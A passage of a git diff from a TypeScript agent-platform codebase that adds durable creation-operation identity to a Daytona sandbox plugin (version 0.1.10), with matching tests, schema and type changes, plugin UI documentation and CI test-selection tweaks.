process.stderr.write('Open the following link to authenticate the ACP server: '+url+'\\n', () => process.exit(0));
|
||||
} else if(mode==='stubborn'||mode==='retained') setInterval(()=>{},1000);
|
||||
else process.exit(0);
|
||||
});
|
||||
`);
|
||||
setup.verify.mockResolvedValue({ openCommand: async () => ({ spawn: setup.spawn, close: setup.close }) });
|
||||
setup.spawn.mockImplementation((_args, options) => {
|
||||
@@ -95,8 +102,8 @@ describe("Antigravity setup-only Google authentication", () => {
|
||||
|
||||
// The login predicate keeps its five-second bound. Allow ten more seconds
|
||||
// for fixture startup and the durable mocked credential checks on a busy CI worker.
|
||||
it("performs native authenticate, retires it, verifies identity, and preserves refresh rotation without repeated status network calls", async () => {
|
||||
const home = await fixture(), fetch = googleIdentity(); vi.stubGlobal("fetch", fetch);
|
||||
it.each(["success", "url-after-result"])("performs native authenticate, retires it, verifies identity, and preserves refresh rotation without repeated status network calls (%s)", async mode => {
|
||||
const home = await fixture(mode), fetch = googleIdentity(); vi.stubGlobal("fetch", fetch);
|
||||
const login = startAntigravityBrowserLogin(home);
|
||||
await vi.waitFor(() => expect(login.outcome).toBe("success"), { timeout: 5_000 });
|
||||
expect(login.authorizationUrl).toBe(authorizationUrl());
|
||||
@@ -118,13 +125,13 @@ describe("Antigravity setup-only Google authentication", () => {
|
||||
expect(fetch).toHaveBeenCalledTimes(6);
|
||||
}, 15_000);
|
||||
|
||||
it.each(["error", "bad-url"])("rejects %s without leaking provider text or calling Google", async mode => {
|
||||
it.each(["error", "bad-url", "bad-url-after-result"])("rejects %s without leaking provider text or calling Google", async mode => {
|
||||
const home = await fixture(mode), fetch = vi.fn(); vi.stubGlobal("fetch", fetch);
|
||||
const login = startAntigravityBrowserLogin(home);
|
||||
await vi.waitFor(() => expect(login.outcome).toBe("failure"), { timeout: 5_000 });
|
||||
await vi.waitFor(() => expect(setup.close).toHaveBeenCalledOnce(), { timeout: 5_000 });
|
||||
expect(login.error).not.toContain("fixture");
|
||||
if (mode === "bad-url") expect(login.authorizationUrl).toBeUndefined();
|
||||
if (mode.startsWith("bad-url")) expect(login.authorizationUrl).toBeUndefined();
|
||||
expect(fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
|
||||
@@ -203,7 +203,7 @@ export function startAntigravityBrowserLogin(home: string): AntigravityBrowserLo
|
||||
if (!line.startsWith(AUTH_PREFIX)) continue;
|
||||
try {
|
||||
const url = validateAntigravityAuthorizationUrl(line.slice(AUTH_PREFIX.length));
|
||||
if (phase !== 2 || state.authorizationUrl !== undefined) throw new Error(LOGIN_ERROR);
|
||||
if ((phase !== 2 && phase !== 3) || state.authorizationUrl !== undefined) throw new Error(LOGIN_ERROR);
|
||||
state.authorizationUrl = url;
|
||||
} catch { fail(); }
|
||||
}
|
||||
|
||||
@@ -1356,6 +1356,7 @@ it.each(["after_budget", "within_budget", "interrupted_within_budget", "persiste
|
||||
expect(closeFailure).toBeInstanceOf(
|
||||
NativeSessionCloseUnrecoverableError,
|
||||
);
|
||||
expect(closeFailure).toHaveProperty("semanticToolsSettled", false);
|
||||
expect(closeFailure).toHaveProperty("settlement.semanticTools.pending", expect.arrayContaining([
|
||||
expect.objectContaining({ callId: expect.any(String), operationId: expect.any(String),
|
||||
sourceEventId: expect.any(String), inputDigest: expect.stringMatching(/^[a-f0-9]{64}$/) }),
|
||||
@@ -8110,9 +8111,13 @@ it("still fails closed when a real close grace period cannot fit a durable suspe
|
||||
cwd: tmpdir(),
|
||||
dynamicTools: [],
|
||||
});
|
||||
await expect(bundle.transport.close()).rejects.toThrow(
|
||||
"runner did not durably suspend before checkpoint",
|
||||
);
|
||||
const closed = bundle.transport.close();
|
||||
await expect(closed).rejects.toMatchObject({
|
||||
code: "native_session_close_unrecoverable",
|
||||
semanticToolsSettled: true,
|
||||
});
|
||||
// Retirement preserves the original rejected promise and its proof.
|
||||
expect(bundle.transport.close()).toBe(closed);
|
||||
} finally {
|
||||
await rm(stateDirectory, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
@@ -4928,7 +4928,11 @@ class DurablePrpCodexTransport implements CodexAppServerTransport {
|
||||
} catch {
|
||||
// Keep the settlement failure authoritative if its observer fails.
|
||||
}
|
||||
throw new NativeSessionCloseUnrecoverableError(settlement);
|
||||
// Sample after ingress retirement and its drain. A result observed before
|
||||
// that barrier cannot rule out one last admitted tool callback.
|
||||
throw new NativeSessionCloseUnrecoverableError(
|
||||
settlement, this.#core?.semanticToolResultsSettled() === true,
|
||||
);
|
||||
}
|
||||
if (!preparationConfirmed) {
|
||||
throw new Error(`Native runner ${attachmentPending ? "attachment" : "startup"} cleanup is unconfirmed; recovery state retained.`);
|
||||
|
||||
@@ -63,3 +63,22 @@ second export after reconnect. The test creates and deletes one disposable
|
||||
- `src/manifest.ts` declares the sandbox-provider driver metadata
|
||||
- `src/plugin.ts` implements the environment lifecycle hooks
|
||||
- `paperclipPlugin.manifest` and `paperclipPlugin.worker` point the host at the built plugin entrypoints in `dist/`
|
||||
|
||||
|
||||
### Interrupted run-lease creation
|
||||
|
||||
The host commits a company-scoped creation operation before acquiring a new run
|
||||
lease. The operation UUID becomes `paperclip-create-<uuid>` and the
|
||||
`paperclip-create-attempt` label. The existing inspection hook can resolve that
|
||||
name and validate company, environment and run labels without starting a sandbox.
|
||||
Recovery persists the observed provider ID before the existing cleanup worker
|
||||
deletes it. A missing creation name is an uncertain outcome, not proof of removal.
|
||||
The host retains that operation for manual reconciliation and never repeats the
|
||||
creation request blindly. Credential identity must still match admission.
|
||||
|
||||
This capability is declared as `creationOperationVersion: 1` in manifest version
|
||||
0.1.10. It covers normal run/ad-hoc lease acquisition and plugin task replacement.
|
||||
Legacy provider `environmentProbe` and custom-image interactive setup have separate
|
||||
lifecycles and are outside this lease-orphan fallback replacement. The normal Test
|
||||
path which acquires a runtime lease is covered. Unit fixtures exercise lookup and
|
||||
deletion; live provider qualification requires an explicit disposable test account.
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@paperclipai/plugin-daytona",
|
||||
"version": "0.1.9",
|
||||
"version": "0.1.10",
|
||||
"description": "Daytona sandbox provider plugin for Paperclip environments",
|
||||
"license": "MIT",
|
||||
"homepage": "https://github.com/paperclipai/paperclip",
|
||||
|
||||
@@ -15,7 +15,7 @@ export const DEFAULT_DAYTONA_OPERATION_TIMEOUT_MS = 300_000;
|
||||
// 0.1.6 adds private authenticated WebSocket ingress for paperclip_runner.
|
||||
// 0.1.7 exposes host-owned warm/cold runner lifecycle controls.
|
||||
// 0.1.8 declares the default provider acquisition budget to the host.
|
||||
const PLUGIN_VERSION = "0.1.9";
|
||||
const PLUGIN_VERSION = "0.1.10";
|
||||
|
||||
const manifest: PaperclipPluginManifestV1 = {
|
||||
id: PLUGIN_ID,
|
||||
@@ -39,6 +39,7 @@ const manifest: PaperclipPluginManifestV1 = {
|
||||
description:
|
||||
"Provisions Daytona sandboxes with configurable image or snapshot selection, startup timeouts, and lease reuse.",
|
||||
supportsReusableLeases: true,
|
||||
creationOperationVersion: 1,
|
||||
// Daytona keeps a persistent session and tails its callback log form, so it
|
||||
// emits incremental session output while the command runs. Declare the
|
||||
// opt-in capability so the host selects the session-output streaming path.
|
||||
|
||||
@@ -51,6 +51,16 @@ describe("Daytona read-only resource inspection", () => {
|
||||
for (const method of [sandbox.start, sandbox.stop, sandbox.delete, sandbox.archive, sandbox.refreshData]) expect(method).not.toHaveBeenCalled();
|
||||
expect(mockCreate).not.toHaveBeenCalled();
|
||||
});
|
||||
it.each(["active", "destroyed"])("inspects a normal lease with creation provenance by recorded ID: %s", async state => {
|
||||
const provenance = { creationOperationId: "16cd534e-27a1-45de-a4ad-5adbb6481361" };
|
||||
if (state === "active") mockGet.mockResolvedValue(createMockSandbox());
|
||||
else mockGet.mockRejectedValue(new MockDaytonaNotFoundError("gone"));
|
||||
expect(await plugin.definition.onEnvironmentInspectLease!({ ...params, leaseMetadata: provenance }))
|
||||
.toEqual({ providerLeaseId: "sandbox-123", state });
|
||||
expect(mockGet).toHaveBeenCalledExactlyOnceWith("sandbox-123");
|
||||
expect(mockCreate).not.toHaveBeenCalled();
|
||||
if (state === "destroyed") expect(await plugin.definition.onIdleDrain!(new AbortController().signal)).toBe("none");
|
||||
});
|
||||
it("accepts only typed provider not-found as deletion proof", async () => {
|
||||
__resetDaytonaSandboxHandleCacheForTest();
|
||||
mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not found"));
|
||||
@@ -80,6 +90,46 @@ describe("Daytona read-only resource inspection", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("Daytona durable creation identity", () => {
|
||||
const id = "16cd534e-27a1-45de-a4ad-5adbb6481361";
|
||||
const runId = "8cbd0194-e322-4b5b-9800-df4d5a682479";
|
||||
const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment",
|
||||
providerLeaseId: id, config: { apiKey: "fixture-not-a-key" },
|
||||
creationOperation: { id, runId } };
|
||||
beforeEach(() => { mockCreate.mockReset(); mockGet.mockReset(); __resetDaytonaSandboxHandleCacheForTest(); });
|
||||
afterEach(() => { vi.unstubAllEnvs(); __resetDaytonaSandboxHandleCacheForTest(); });
|
||||
function resource() { return { ...createMockSandbox({ name: `paperclip-create-${id}` }), labels: {
|
||||
"paperclip-provider": "daytona", "paperclip-create-attempt": id,
|
||||
"paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId,
|
||||
"paperclip-run-id": runId,
|
||||
} }; }
|
||||
it("locates the exact resource by stable name without creation or lifecycle calls", async () => {
|
||||
const sandbox = resource(); mockGet.mockResolvedValue(sandbox);
|
||||
const observed = await plugin.definition.onEnvironmentInspectLease!(params);
|
||||
expect(mockGet).toHaveBeenCalledWith(`paperclip-create-${id}`);
|
||||
expect(observed).toMatchObject({ providerLeaseId: `paperclip-create-${id}`, state: "active",
|
||||
creationCleanup: { observedProviderLeaseId: sandbox.id, attemptId: id, runId } });
|
||||
expect(mockCreate).not.toHaveBeenCalled(); expect(sandbox.delete).not.toHaveBeenCalled();
|
||||
await plugin.definition.onEnvironmentDestroyLease!({ ...params, providerLeaseId: observed.providerLeaseId,
|
||||
leaseMetadata: { failedCreateCleanup: observed.creationCleanup } });
|
||||
expect(sandbox.delete).toHaveBeenCalledOnce();
|
||||
});
|
||||
it("retains uncertainty when a creation name is absent", async () => {
|
||||
mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not yet visible"));
|
||||
expect(await plugin.definition.onEnvironmentInspectLease!(params)).toEqual({ providerLeaseId: `paperclip-create-${id}`, state: "unknown" });
|
||||
expect(mockCreate).not.toHaveBeenCalled();
|
||||
});
|
||||
it("rejects a name or label owned by another creation", async () => {
|
||||
mockGet.mockResolvedValue({ ...resource(), labels: { "paperclip-company-id": "foreign" } });
|
||||
await expect(plugin.definition.onEnvironmentInspectLease!(params)).rejects.toThrow("ownership does not match");
|
||||
});
|
||||
it("requires the recorded endpoint when ambient configuration changes", async () => {
|
||||
vi.stubEnv("DAYTONA_API_URL", "https://changed.example.test");
|
||||
expect((await plugin.definition.onEnvironmentInspectLease!(params)).state).toBe("unknown");
|
||||
expect(mockGet).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("Daytona idle eligibility", () => {
|
||||
const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment",
|
||||
config: { apiKey: "fixture-not-a-key", reuseLease: true } };
|
||||
@@ -537,7 +587,7 @@ describe("Daytona sandbox provider plugin", () => {
|
||||
// The bundled-plugin boot reconcile refreshes the stored manifest for an
|
||||
// existing install only when the version changes. The acquisition budget needs
|
||||
// the bump to reach an existing install.
|
||||
expect(manifest.version).toBe("0.1.9");
|
||||
expect(manifest.version).toBe("0.1.10");
|
||||
});
|
||||
|
||||
it.each([false, true])("closes duplex routes on lease release even when bridge drain hangs: %s", async (hangDrain) => {
|
||||
|
||||
@@ -994,7 +994,8 @@ async function createSandbox(
|
||||
}
|
||||
// The SDK can create a sandbox and then throw while waiting for it to start.
|
||||
// Keep an attempt-specific provider name so that failure cannot lose ownership.
|
||||
const attemptId = randomUUID();
|
||||
const attemptId = "creationOperationId" in params && params.creationOperationId ? params.creationOperationId : randomUUID();
|
||||
if (!/^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(attemptId)) throw new Error("Invalid creation operation identity");
|
||||
const name = `paperclip-create-${attemptId}`;
|
||||
const labels = { ...buildSandboxLabels({
|
||||
companyId: params.companyId,
|
||||
@@ -2988,6 +2989,32 @@ const plugin = definePlugin(trackDaytonaHooks({
|
||||
if (!config.apiUrl && (process.env.DAYTONA_API_URL?.trim() || process.env.DAYTONA_SERVER_URL?.trim())) {
|
||||
return { providerLeaseId: params.providerLeaseId, state: "unknown" };
|
||||
}
|
||||
if (params.creationOperation !== undefined) {
|
||||
const { id: attemptId, runId } = params.creationOperation;
|
||||
if (![attemptId, runId].every(value => typeof value === "string" && /^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(value))) {
|
||||
throw new Error("Invalid creation operation identity");
|
||||
}
|
||||
const name = `paperclip-create-${attemptId}`;
|
||||
try {
|
||||
const sandbox = await withLivenessTimeout("sandbox.creationLookup", 10_000, () => createDaytonaClient(config).get(name));
|
||||
const labels = {
|
||||
"paperclip-provider": "daytona", "paperclip-create-attempt": attemptId,
|
||||
"paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId,
|
||||
"paperclip-run-id": runId,
|
||||
};
|
||||
if (sandbox.name !== name || Object.entries(labels).some(([key, value]) => sandbox.labels?.[key] !== value)) {
|
||||
throw new Error("Creation operation ownership does not match");
|
||||
}
|
||||
return { providerLeaseId: name, state: "active", creationCleanup: {
|
||||
providerLeaseId: name, observedProviderLeaseId: sandbox.id, companyId: params.companyId,
|
||||
environmentId: params.environmentId, runId: labels["paperclip-run-id"], attemptId,
|
||||
accountFingerprint: sandboxAccountDiscriminator(config), labels,
|
||||
} };
|
||||
} catch (error) {
|
||||
if (error instanceof DaytonaNotFoundError) return { providerLeaseId: name, state: "unknown" };
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
const proof = idleActivity.proof(providerActivityKey(params, config, params.providerLeaseId));
|
||||
// Read directly from the provider. The setup-status path and cached lease
|
||||
// reconnect path can start a stopped sandbox, so neither is an observation.
|
||||
|
||||
@@ -259,8 +259,10 @@ A card or section rendered on the main dashboard. Use this for at-a-glance metri
|
||||
|
||||
An additional tab on a project, issue, agent, goal, or run detail page. Rendered when the user navigates to that entity's detail view. Receives `PluginDetailTabProps` with `context.companyId` set to the active company and `context.entityId` / `context.entityType` guaranteed to be non-null, so you can immediately scope data fetches to the relevant entity. Specify which entity types the tab applies to via the `entityTypes` array in the manifest slot declaration. Requires the `ui.detailTab.register` capability.
|
||||
|
||||
Agent detail tabs can also appear in task side panels. Declare a mapping to a
|
||||
runtime activity independently of the plugin and slot identifiers:
|
||||
Agent detail tabs can also appear in task side panels. `taskSidePanel` makes the
|
||||
view available for manual selection with the running or assigned agent. Manual
|
||||
selection mounts the same component as the agent detail page, including while
|
||||
the task is idle. An optional activity mapping also opens it automatically:
|
||||
|
||||
```ts
|
||||
taskSidePanel: {
|
||||
@@ -272,8 +274,8 @@ taskSidePanel: {
|
||||
Declare the exact availability path as a board-only GET API route with
|
||||
`companyResolution: { from: "agent", param: "entityId" }`. Core maps the declared
|
||||
namespace/activity pair to installed agent detail tabs. Runner knows no plugin
|
||||
or UI slot. Declarations without `activation` remain valid for agent detail pages
|
||||
and contribute no task panel. Activity is a reported fact, not an authorization grant.
|
||||
or UI slot. Declarations without `activation` support manual task-panel selection.
|
||||
Activity controls automatic opening and grants no access permission.
|
||||
|
||||
#### Runtime activity recording
|
||||
|
||||
@@ -317,13 +319,16 @@ Core reads durable activity on mount/reconnect and uses the existing live stream
|
||||
The authorized run binding identifies company, task and agent; caller payloads
|
||||
cannot override them. Core replaces `:entityId` with the running agent ID, adds
|
||||
`runId` and `issueId`, and requires `{ available: true }`. History/live hints merge
|
||||
without losing earlier activity. Only matching current-task activity contributes.
|
||||
without losing earlier activity. Only matching current-task activity can open a
|
||||
panel automatically.
|
||||
Readiness and transient discovery failures get at most three attempts; authorization
|
||||
failures are not retried. No periodic readiness polling is added. Dismissal stays
|
||||
scoped to the current run. Only tab identity is stored in browser state; activity
|
||||
remains in the authorized run log. Missing/disabled plugins, failed history reads,
|
||||
unavailable views and access failures contribute no task tab. The plugin owns
|
||||
labels, content and controls. No private integration identifier belongs in Core.
|
||||
remains in the authorized run log. Failed history reads, unavailable views and
|
||||
access failures prevent automatic opening. Manual selection uses the viewer's
|
||||
own authorization and status handling. Missing or disabled plugins add no view.
|
||||
The plugin owns labels, content and controls. No private integration identifier
|
||||
belongs in Core.
|
||||
|
||||
#### `taskDetailView`
|
||||
|
||||
|
||||
@@ -641,6 +641,7 @@ export interface PluginEnvironmentRunnerIngressEndpointParams
|
||||
|
||||
export interface PluginEnvironmentAcquireLeaseParams extends PluginEnvironmentDriverBaseParams {
|
||||
runId: string;
|
||||
creationOperationId?: string;
|
||||
/** Explicit platform probes may request a provider-owned immutable snapshot
|
||||
* identity. Supporting providers create by that ID and return snapshotIdentity
|
||||
* in lease metadata. Older providers may omit it; the host then cannot qualify
|
||||
@@ -701,11 +702,13 @@ export interface PluginEnvironmentDestroyLeaseParams extends PluginEnvironmentRe
|
||||
/** Observe this exact allocation without starting, stopping or deleting it.
|
||||
* Missing resources must be distinguished from permission/transport failures. */
|
||||
export interface PluginEnvironmentInspectLeaseParams extends PluginEnvironmentDriverBaseParams {
|
||||
creationOperation?: { id: string; runId: string };
|
||||
providerLeaseId: string;
|
||||
leaseMetadata?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface PluginEnvironmentLeaseObservation {
|
||||
creationCleanup?: import("./environment-creation-cleanup.js").PluginEnvironmentCreationCleanup;
|
||||
providerLeaseId: string;
|
||||
state: "active" | "stopped" | "destroyed" | "unknown";
|
||||
}
|
||||
|
||||
@@ -13,6 +13,10 @@ export interface AgentLifecycleOperation {
|
||||
leaseOwner?: string;
|
||||
leaseUntil?: string;
|
||||
retryAt?: string;
|
||||
/** A failed configuration check waits for configuration repair or an explicit retry. */
|
||||
retryRequired?: boolean;
|
||||
/** Failed generic host verification tests for this saved configuration. */
|
||||
verificationFailures?: number;
|
||||
attempts: number;
|
||||
responsibleUserId?: string | null;
|
||||
}
|
||||
|
||||
@@ -333,6 +333,8 @@ export interface AdapterEnvironmentCheck {
|
||||
message: string;
|
||||
detail?: string | null;
|
||||
hint?: string | null;
|
||||
/** The check could not complete because its execution target was unavailable. */
|
||||
retryable?: boolean;
|
||||
}
|
||||
|
||||
export interface AdapterEnvironmentTestResult {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import type { IssueAttachment, IssueDocument } from "./issue.js";
|
||||
import type { IssueWorkProduct } from "./work-product.js";
|
||||
|
||||
export type CompanySkillSourceType = "local_path" | "github" | "url" | "catalog" | "skills_sh";
|
||||
export type CompanySkillSourceType = "managed" | "local_path" | "github" | "url" | "catalog" | "skills_sh";
|
||||
|
||||
export type CompanySkillTrustLevel = "markdown_only" | "assets" | "scripts_executables";
|
||||
|
||||
@@ -180,6 +180,8 @@ export type CompanySkillVersionSummary = Omit<CompanySkillVersion, "fileInventor
|
||||
};
|
||||
|
||||
export interface CompanySkillVersionCreateRequest {
|
||||
sourceVersionId?: string;
|
||||
expectedVersionId?: string | null;
|
||||
label?: string | null;
|
||||
}
|
||||
|
||||
@@ -259,6 +261,7 @@ export interface CompanySkillForkPrecheckResult {
|
||||
}
|
||||
|
||||
export interface CompanySkillRenameRequest {
|
||||
expectedVersionId?: string | null;
|
||||
name: string;
|
||||
slug?: string | null;
|
||||
}
|
||||
@@ -328,10 +331,12 @@ export interface CompanySkillAuditResult {
|
||||
|
||||
export interface CompanySkillInstallUpdateRequest {
|
||||
force?: boolean;
|
||||
expectedVersionId?: string | null;
|
||||
}
|
||||
|
||||
export interface CompanySkillResetRequest {
|
||||
force?: boolean;
|
||||
expectedVersionId?: string | null;
|
||||
}
|
||||
|
||||
export interface CompanySkillImportRequest {
|
||||
@@ -447,6 +452,7 @@ export interface CompanySkillCreateRequest {
|
||||
}
|
||||
|
||||
export interface CompanySkillFileDetail {
|
||||
versionId?: string | null;
|
||||
encoding?: "utf8" | "base64";
|
||||
executable?: boolean;
|
||||
skillId: string;
|
||||
@@ -459,6 +465,8 @@ export interface CompanySkillFileDetail {
|
||||
}
|
||||
|
||||
export interface CompanySkillFileUpdateRequest {
|
||||
expectedVersionId?: string | null;
|
||||
idempotencyKey?: string;
|
||||
encoding?: "utf8" | "base64";
|
||||
executable?: boolean;
|
||||
path: string;
|
||||
@@ -466,11 +474,13 @@ export interface CompanySkillFileUpdateRequest {
|
||||
}
|
||||
|
||||
export interface CompanySkillFileDeleteRequest {
|
||||
expectedVersionId?: string | null;
|
||||
path: string;
|
||||
target: "file" | "folder";
|
||||
}
|
||||
|
||||
export interface CompanySkillFileDeleteResult {
|
||||
versionId?: string | null;
|
||||
skillId: string;
|
||||
path: string;
|
||||
target: "file" | "folder";
|
||||
|
||||
@@ -198,6 +198,7 @@ export interface PluginEnvironmentDriverDeclaration {
|
||||
/** Provides Runner execution, resource preparation, and PRP connections via environmentTask. */
|
||||
supportsTasks?: boolean;
|
||||
freshWorkspaceVersion?: 1;
|
||||
creationOperationVersion?: 1;
|
||||
/** Codex task retention and authorized run attachment, version 1. */
|
||||
warmTaskVersion?: 1;
|
||||
/** Stable driver key, unique within the plugin. Namespaced by plugin ID at runtime. */
|
||||
@@ -499,15 +500,16 @@ export interface PluginUiSlotDeclaration {
|
||||
* Required for `detailTab`, `taskDetailView`, and `contextMenuItem`.
|
||||
*/
|
||||
entityTypes?: PluginUiSlotEntityType[];
|
||||
/** Also offer this agent detail tab beside a task while its agent is running.
|
||||
* The run must record the declared runtime activity before a task panel appears.
|
||||
/** Also offer this agent detail tab for manual selection beside a task.
|
||||
* It uses the running agent, or the assigned agent while idle.
|
||||
* Matching run activity and readiness also open the panel automatically.
|
||||
* GET this plugin-relative path with :entityId replaced by the agent ID,
|
||||
* and runId/issueId query parameters for the active task.
|
||||
* The board/agent-scoped route returns { available: boolean }.
|
||||
* The board-only, agent-scoped route returns { available: boolean }.
|
||||
*/
|
||||
taskSidePanel?: {
|
||||
availabilityPath: string;
|
||||
/** Opaque runtime activity mapped to this view. Absent mappings add no task panel. */
|
||||
/** Runtime activity that requests automatic opening; manual selection needs no mapping. */
|
||||
activation?: { namespace: string; activityKey: string };
|
||||
};
|
||||
|
||||
|
||||
@@ -266,6 +266,9 @@ export interface ConnectionGrant {
|
||||
appSlug?: string;
|
||||
accessRevision?: string;
|
||||
lastAccessRefreshAt?: string;
|
||||
/** Unsettled Cloud binding changes; retained until the exact revision is delivered. */
|
||||
bindingSync?: { id: string; removeInstallationIds: string[] };
|
||||
continuityRetry?: { at: string; attempts: number; revision: string };
|
||||
lastWebhookAt?: string;
|
||||
webhookHealth?: "pending" | "healthy" | "unhealthy";
|
||||
};
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { z } from "zod";
|
||||
|
||||
export const companySkillSourceTypeSchema = z.enum(["local_path", "github", "url", "catalog", "skills_sh"]);
|
||||
export const companySkillSourceTypeSchema = z.enum(["managed", "local_path", "github", "url", "catalog", "skills_sh"]);
|
||||
export const companySkillTrustLevelSchema = z.enum(["markdown_only", "assets", "scripts_executables"]);
|
||||
export const companySkillCompatibilitySchema = z.enum(["compatible", "unknown", "invalid"]);
|
||||
export const companySkillSourceBadgeSchema = z.enum(["paperclip", "github", "local", "url", "catalog", "skills_sh"]);
|
||||
@@ -144,6 +144,8 @@ export const companySkillDetailSchema = companySkillSchema.extend({
|
||||
});
|
||||
|
||||
export const companySkillVersionCreateSchema = z.object({
|
||||
sourceVersionId: z.string().guid().optional(),
|
||||
expectedVersionId: z.string().guid().nullable().optional(),
|
||||
label: z.string().trim().min(1).nullable().optional(),
|
||||
}).default({});
|
||||
|
||||
@@ -203,6 +205,7 @@ export const companySkillForkPrecheckResultSchema = z.object({
|
||||
});
|
||||
|
||||
export const companySkillRenameSchema = z.object({
|
||||
expectedVersionId: z.string().guid().nullable().optional(),
|
||||
name: z.string().min(1).regex(/^[^\r\n]+$/, "Name must be a single line"),
|
||||
slug: z.string().min(1).nullable().optional(),
|
||||
});
|
||||
@@ -267,10 +270,12 @@ export const companySkillAuditResultSchema = z.object({
|
||||
|
||||
export const companySkillInstallUpdateSchema = z.object({
|
||||
force: z.boolean().optional(),
|
||||
expectedVersionId: z.string().uuid().nullable().optional(),
|
||||
}).default({});
|
||||
|
||||
export const companySkillResetSchema = z.object({
|
||||
force: z.boolean().optional(),
|
||||
expectedVersionId: z.string().uuid().nullable().optional(),
|
||||
}).default({});
|
||||
|
||||
export const companySkillImportSchema = z.object({
|
||||
@@ -379,6 +384,7 @@ export const companySkillCreateSchema = z.object({
|
||||
});
|
||||
|
||||
export const companySkillFileDetailSchema = z.object({
|
||||
versionId: z.string().guid().nullable().optional(),
|
||||
encoding: z.enum(["utf8", "base64"]).optional(),
|
||||
executable: z.boolean().optional(),
|
||||
skillId: z.string().guid(),
|
||||
@@ -400,6 +406,7 @@ export const companySkillFileUpdateSchema = z.object({
|
||||
});
|
||||
|
||||
export const companySkillFileDeleteSchema = z.object({
|
||||
expectedVersionId: z.string().guid().nullable().optional(),
|
||||
path: z.string().min(1),
|
||||
target: z.enum(["file", "folder"]),
|
||||
});
|
||||
|
||||
@@ -181,6 +181,7 @@ export const pluginEnvironmentDriverDeclarationSchema = z.object({
|
||||
requiresAgent: z.boolean().optional(),
|
||||
supportsTasks: z.boolean().optional(),
|
||||
freshWorkspaceVersion: z.literal(1).optional(),
|
||||
creationOperationVersion: z.literal(1).optional(),
|
||||
warmTaskVersion: z.literal(1).optional(),
|
||||
driverKey: z.string().min(1).regex(
|
||||
/^[a-z0-9][a-z0-9._-]*$/,
|
||||
|
||||
@@ -240,6 +240,8 @@ export const connectionGrantSchema = z.object({
|
||||
managementUrl: z.string().url().max(2000).optional(),
|
||||
appSlug: z.string().regex(/^[a-z0-9-]{1,100}$/).optional(),
|
||||
lastAccessRefreshAt: z.string().datetime().optional(),
|
||||
bindingSync: z.object({ id: z.string().uuid(), removeInstallationIds: z.array(z.string().regex(/^[1-9][0-9]{0,30}$/)).max(100) }).optional(),
|
||||
continuityRetry: z.object({ at: z.string().datetime(), attempts: z.number().int().min(1).max(16), revision: z.string().max(2000) }).optional(),
|
||||
lastWebhookAt: z.string().datetime().optional(),
|
||||
webhookHealth: z.enum(["pending", "healthy", "unhealthy"]).optional(),
|
||||
}).optional(),
|
||||
|
||||
@@ -216,11 +216,11 @@ test("the trusted PR workflow keeps a stable aggregate check named e2e over the
|
||||
}
|
||||
});
|
||||
|
||||
test("runner selection has reserved AWS capacity and executes metadata checks only", () => {
|
||||
test("runner authorization uses hosted capacity and executes metadata checks only", () => {
|
||||
const workflow = readFileSync(routingWorkflow, "utf8");
|
||||
const jobs = readWorkflowJobs(workflow.split(/^jobs:\n/m)[1]);
|
||||
assert.deepEqual([...jobs.keys()], ["gate"]);
|
||||
assert.match(jobs.get("gate"), /^ {4}runs-on: \$\{\{ vars\.AWS_CI_ENABLED[\s\S]*paperclip-ci-routing-x64/m);
|
||||
assert.match(jobs.get("gate"), /^ {4}runs-on: ubuntu-latest$/m);
|
||||
assert.doesNotMatch(jobs.get("gate"), /uses:|actions\/checkout|secrets\./);
|
||||
assert.match(workflow, /^ {6}runner:\n {8}value: \$\{\{ jobs\.gate\.outputs\.runner \}\}$/m);
|
||||
assert.match(workflow, /^ {6}full_ci:\n {8}value: \$\{\{ jobs\.gate\.outputs\.full_ci \}\}$/m);
|
||||
|
||||
@@ -13,8 +13,11 @@ export function selectionEligibility(plan) {
|
||||
const changed = productInputs(plan.changed);
|
||||
if (!changed.length) return "Documentation-only diff";
|
||||
for (const file of changed) {
|
||||
// Business modules can contain "config"/"setup" in their names. The graph
|
||||
// separately tracks actual setup and configuration dependencies.
|
||||
if (!/^(?:ui\/src|server\/src|cli\/src|packages\/.+\/src)\/.+\.[cm]?[jt]sx?$/.test(file)
|
||||
|| /(?:config|setup)|\.d\.[cm]?ts$/i.test(file) || file.split("/").includes("..")) return `Broad input: ${file}`;
|
||||
|| /(?:^|\/)(?:vite|vitest)\.(?:config|setup)\.[cm]?[jt]sx?$|\.d\.[cm]?ts$/i.test(file)
|
||||
|| file.split("/").includes("..")) return `Broad input: ${file}`;
|
||||
try {
|
||||
if (!lstatSync(file).isFile()) return `Non-regular source: ${file}`;
|
||||
} catch { return `Deleted or missing source: ${file}`; }
|
||||
|
||||
@@ -4,9 +4,32 @@ import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import test from "node:test";
|
||||
import { stripVTControlCharacters } from "node:util";
|
||||
import { selectProjectTests } from "./vitest-selection-graph.mjs";
|
||||
import { selectionHash } from "./test-selection-manifest.mjs";
|
||||
|
||||
test("selected server tests can launch independent chat runner fixtures", (t) => {
|
||||
const directory = mkdtempSync(path.join(tmpdir(), "ci-nested-"));
|
||||
t.after(() => rmSync(directory, { recursive: true, force: true }));
|
||||
const manifest = { version: 1,
|
||||
head: execFileSync("git", ["rev-parse", "HEAD"], { encoding: "utf8" }).trim(),
|
||||
lanes: { "general-server-without-chat": { shards: [{ "@paperclipai/server": [
|
||||
"server/src/__tests__/vitest-chat-shards.test.ts",
|
||||
] }] } },
|
||||
};
|
||||
const file = path.join(directory, "selection.json");
|
||||
